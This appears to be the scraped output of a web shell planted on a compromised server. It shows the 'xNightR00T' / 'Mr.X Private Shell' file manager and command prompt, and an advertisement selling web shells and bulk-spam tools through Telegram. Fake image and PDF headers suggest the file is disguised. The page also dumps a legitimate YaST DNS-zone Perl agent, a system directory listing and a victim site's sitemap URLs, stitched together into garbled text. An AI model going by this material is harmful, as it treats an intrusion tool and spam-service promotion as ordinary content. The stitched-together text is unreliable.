xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/perl -w

use ycp;
use File::Temp;

sub tabToFile ($)
{
    my $word = shift;
    my $ret = "";
    if (length ($word) < 8)
    {
	$ret = "$word" . "\t";
    }
    else
    {
	$ret = $word;
    }
    return $ret;
}

sub TruncateOrigin {
    my $truncate = shift;
    my $origin   = shift;

    if ($origin ne ".") {
	$origin =~ s/\\./\\\./g;
	$truncate =~ s/\.?$origin$//;
    }

    return $truncate;
}

sub AddZoneName {
    my $addhere  = shift || '';
    my $zonename = shift || '';

    # zone name isn't added for records finished by a dot
    # they are FQDN already and zone name cannot be added
    if (($addhere !~ /\.$/) && ($zonename ne "\@")) {
	# added is only the zone name
	if (!$addhere) {
	    $addhere = $zonename.".";
	# connected with a dot with the relative record
	} else {
	    $addhere .= ".".$zonename.".";
	}
    }

    return $addhere;
}

while ( <STDIN> )
{
    my ($command, $path, $argument) = ycp::ParseCommand ($_);

    if ($command eq "Write")
    {
	if ($path eq "." && ref ($argument) eq "ARRAY")
	{
	    my @a = @{$argument};
	    my $file = $a[0];
	    my %data = %{$a[1]};
	    
	    y2milestone ("Writing zone file $file");

	    open (OUT, ">$file");

	    # write the TTL record first
	    if (exists ($data{"TTL"}))
	    {
		print OUT "\$TTL $data{\"TTL\"}\n";
	    }
	    # write the ORIGIN record now
	    if (exists $data{"soa"}) {
		my %soa = %{$data{"soa"}};
		if ($soa{"zone"} eq "\@") {
		    delete $data{"ORIGIN"};
		} else {
		    $data{"ORIGIN"} = ".";
		}
	    }
	    if (exists ($data{"ORIGIN"}))
	    {
		print OUT "\$ORIGIN $data{\"ORIGIN\"}\n";
	    }
	    

	    # write the SOA record now
	    my $domain_name = ".";
	    if (exists ($data{"soa"}))
	    {
		my %soa = %{$data{"soa"}};
		my $domain = tabToFile ($soa{"zone"});
		my $server = $soa{"server"};
		my $mail = $soa{"mail"};
		my $serial = tabToFile ($soa{"serial"});
		my $refresh = tabToFile ($soa {"refresh"});
		my $retry = tabToFile ($soa{"retry"});
		my $expiry = tabToFile ($soa{"expiry"});
		my $minimum = tabToFile ($soa {"minimum"} . " )");
		if ((exists ($soa{"comment"})) && ($soa{"comment"} ne ""))
		{
		    print OUT "$soa{\"comment\"}";
		}
		print OUT "$domain\tIN SOA\t\t$server\t$mail (\n";
		print OUT "\t\t\t\t$serial\t; serial\n";
		print OUT "\t\t\t\t$refresh\t; refresh\n";
		print OUT "\t\t\t\t$retry\t; retry\n";
		print OUT "\t\t\t\t$expiry\t; expiry\n";
		print OUT "\t\t\t\t$minimum\t; minimum\n";

		$domain_name = $soa{"zone"};
	    }
	    print OUT "\n";

	    #now the normal records come
	    my @records = ();
	    if (exists ($data{"records"}))
	    {
		@records = @{$data{"records"}};
	    }

	    my $current_origin = ((defined $data{"ORIGIN"}) ? $data{"ORIGIN"}:$domain_name);
	    if ($current_origin eq ".") { $current_origin = $domain_name; }

	    foreach $ref (@records) {
		%record = %{$ref};
		if ((defined ($record{"comment"})) && ($record{"comment"} ne ""))
		{
		    print OUT $record{"comment"};
		}
		my $type  = $record{"type"} || '';
		my $value = $record{"value"} || '';
		my $key   = $record{"key"} || '';

		# BNC#867596: Single TXT/SPF records longer that 255 chars need to be split
		# into more shorter strings (if possible)
		if ($type =~ /^(TXT|SPF)$/i && length($value) > 255)
		{
		    # Converting "a b c" -> "a" "b" "c"
		    $value =~ s/[ \t]+/" "/g;
		}

		if ($type eq "TTL")
		{
		    print OUT "\$TTL $value\n";
		}
		elsif ($type eq "ORIGIN")
		{
		    $current_origin = $value;
		    print OUT "\$ORIGIN $value\n";
		}
		elsif ($type eq "comment")
		{
		    next;
		}
		else
		{
		    # MX and NS records should be all in FQDN format
		    if ($type !~ /^(MX|NS)$/i) {
			$key = tabToFile (TruncateOrigin($key, $current_origin));
			$value = TruncateOrigin($value, $current_origin);
		    } else {
			$key = tabToFile (AddZoneName($key, $domain_name));
			$value = AddZoneName($value, $domain_name);
		    }
		    $type = tabToFile ("IN ".$type);
		    print OUT "$key\t$type\t$value\n";
		}
	    }

	    close (OUT);
	    ycp::Return ("true");
	}
	else
	{
	    y2error ("Wrong arguments");
	    ycp::Return ("false");
	}


    }
    elsif ($command eq "Read")
    {
	if ($path eq "." && ! ref ($argument))
	{
	    my $file = $argument;
	    my %data = ();
	    my @records = ();
	    my $comment = "";

	    y2milestone ("Reading zone file $file");

	    if (! open (IN, "$file"))
	    {
		ycp::Return (undef);
		next;
	    }
	    my $current_origin = ".";
	    my $previous_key = "";
	    my $zone = ".";
	    while ( $line = <IN> )
	    {

		if ($line =~ /^\$TTL[ \t]*[0-9]+[A-Za-z]*.*$/) # TTL record
		{
		    ($ttl) = $line =~ m/^\$TTL[ \t]*([0-9]+[A-Za-z]*).*$/;
		    if (! defined ($data{"TTL"}))
		    {
			$data{"TTL"} = $ttl;
		    }
		    else
		    {
			my %rec = (
			    "type" => "TTL",
			    "value" => $ttl,
			);
			push (@records, \%rec);
		    }
		}
		elsif ($line =~ /^\$ORIGIN[ \t]+([^ \t\n]+)[ \t\n]*$/) # ORIGIN rec.
		{
		    $current_origin = $1;
		    $origin = $1;
		    if (! defined ($data{"ORIGIN"}))
		    {
			$data{"ORIGIN"} = $origin;
		    }
		    else
		    {
			my %rec = (
			    "type" => "ORIGIN",
			    "value" => $origin,
			);
			push (@records, \%rec);
		    }
		}
		elsif ($line =~ /^\$.*/)
		{
		    # ignore this line
		}
		elsif ($line =~ /^[^ \t]*[ \t]*IN[ \t]*SOA[ \t]*.*$/) # SOA record
		{
		    my %soa = ();
		    ($soa{"zone"}, $soa{"server"}, $soa{"mail"})
			= $line =~ /^([^ \t]+)[ \t]*IN[ \t]*SOA[ \t]*([^ \t]+)[ \t]*([^ \t]+)[ \t]*/ if $line =~ /^([^ \t]+)[ \t]*IN[ \t]*SOA[ \t]*([^ \t]+)[ \t]*([^ \t]+)[ \t]*/;
		    $line = <IN>;
		    ($soa{"serial"}) = $line =~ /^[ \t]*([0-9]+)[ \t]/ if $line =~ /^[ \t]*([0-9]+)[ \t]/;
		    $line = <IN>;
		    ($soa{"refresh"}) = $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i
			if $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i;
		    $line = <IN>;
		    ($soa{"retry"})   = $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i
			if $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i;
		    $line = <IN>;
		    ($soa{"expiry"})  = $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i
			if $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i;
		    $line = <IN>;
		    ($soa{"minimum"}) = $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i
			if $line =~ /^[ \t]*(([0-9]+[WDHMS]*)+)[ \t]/i;
		    $data{"soa"} = \%soa;
		    if ($comment ne "")
		    {
			$soa{"comment"} = $comment;
			$comment = "";
		    }
		    $zone = $soa{"zone"};
		}
		elsif ($line =~ /^[^ \t]*([ \t]+[0-9a-zA-Z]+)?[ \t]*(IN)?[ \t]+[A-Za-z]+[ \t]+[^ \t;\n][^;\n]*.*$/) #normal record
		{
		    my %rec = ();
		    my $in = ""; my $ttl = "";
		    $line =~ s/^([^ \t]*)([ \t]+[0-9a-zA-Z]+)?[ \t]*(IN)?[ \t]+([A-Za-z]+)[ \t]+//;
		    ($rec{"key"}, $ttl, $in, $rec{"type"}, $rec{"value"}) = ($1, $2, $3, $4);

		    # BNC #755766
		    # TXT/SPF records (values) can contain semicolons
		    if ($rec{"type"} =~ /^(TXT|SPF)$/i) {
			$line =~ s/^(\"[^\n]*\")[ \t]*(;.*)?$//;
			$rec{"value"} = $1;
			# BNC#867596: several texts merged into one: "a" "b" "c" -> "a b c"
			$rec{"value"} =~ s/\"[ \t]\"/ /g;
		    # The other records consider each semicolon to be a comment
		    } else {
			$line =~ s/^([^;\n]+).*$//;
			$rec{"value"} = $1;
		    }

		    # undefined key takes the key from the previous line
		    if (!$rec{"key"}) {
			$rec{"key"} = $previous_key;
		    } else {
			# defined key sets the "previous_key" for the next line
			# mustn't be a comment (;)
			if ($rec{"key"} !~ /^[ \t]*;/) {
			    $previous_key = $rec{"key"};
			}
		    }
		    if ($previous_key eq "" && $zone ne "\@") {
			$previous_key = $zone;
		    }
		    
		    # creating absolute names from name and origin
		    #  apply only other origins     not-finishing with dot      for named types
		    if (($current_origin ne ".") && ($rec{"value"} !~ /\.$/) && ($rec{"type"} =~ /^(ns|mx|cname)$/i)) {
			$rec{"value"} = $rec{"value"}.".".$current_origin;
		    }
		    if (($current_origin ne ".") && ($rec{"key"} !~ /\.$/) && ($rec{"type"} =~ /^(cname|a|ptr)$/i)) {
			$rec{"key"} = $rec{"key"}.".".$current_origin;
		    }
		    if (($rec{"key"} !~ /\.$/) && ($rec{"type"} =~ /^(ns|mx)$/i)) {
			if ($current_origin ne ".") {
			    $rec{"key"} = $rec{"key"}.".".$current_origin;
			} elsif ($rec{"key"} eq $zone && $zone ne "\@") {
			    $rec{"key"} .= ".";
			}
		    }

		    if ($line =~ /^[^;]*;.*$/)
		    {
			($comment_after) = $line =~ m/^[^;]*(;.*)$/;
			chomp ($comment_after);
			$comment = $comment . $comment_after . "\n";
		    }
		    if ($comment ne "")
		    {
			$rec{"comment"} = $comment;
			$comment = "";
		    }
		    push (@records, \%rec);
		}
		elsif ($line =~ /^[ \t]*;.*$/)
		{
		    chomp ($line);
		    $comment = $comment . $line . "\n";
		}
		# else blank line, ignore it
	    }
	    close (IN);
	    $data{"records"} = \@records;
	    ycp::Return (\%data);
	}
	else
	{
	    y2error ("Wrong arguments");
	    ycp::Return ("false");
	}


    }
    elsif ($command eq "result")
    {
	exit 0;
    }
    else
    {
        y2error ("Wrong path or arguments");
        ycp::Return ("false");
    }
}

Filemanager

Name Type Size Permission Actions
MasterCFParser.pm File 10.55 KB 0755
ag_anyxml File 3.21 KB 0755
ag_background File 8.56 KB 0755
ag_content File 738 B 0755
ag_convert_named_conf File 1.65 KB 0755
ag_cron File 2.5 KB 0755
ag_dhcpd_conf File 6.28 KB 0755
ag_dns_zone File 8.84 KB 0755
ag_etc_sudoers File 5.37 KB 0755
ag_exports File 4.7 KB 0755
ag_fetchmailrc File 8.09 KB 0755
ag_freespace File 1.48 KB 0755
ag_hostnames File 4.68 KB 0755
ag_http_server File 13.31 KB 0755
ag_initscripts File 9.19 KB 0755
ag_kadmin File 21.21 KB 0755
ag_kerberos File 12.27 KB 0755
ag_ksimport File 7.22 KB 0755
ag_mail_ldaptable File 1.79 KB 0755
ag_mailconfig File 6.42 KB 0755
ag_mailtable File 5.88 KB 0755
ag_modinfo File 2.09 KB 0755
ag_named_forwarders File 1.68 KB 0755
ag_netd File 17.24 KB 0755
ag_nis File 6.3 KB 0755
ag_pam_mount File 5.83 KB 0755
ag_passwd File 21.11 KB 0755
ag_ping File 1.58 KB 0755
ag_showexports File 2.49 KB 0755
ag_smtp_auth File 5.6 KB 0755
ag_tty File 3.75 KB 0755
ag_udev_persistent File 3.61 KB 0755
ag_uid File 1.39 KB 0755
ag_yp_conf File 7.56 KB 0755
ag_yp_makefile File 4.38 KB 0755
ag_zypp_repos File 1.55 KB 0755
setup_dkim_verifying.pl File 5.15 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml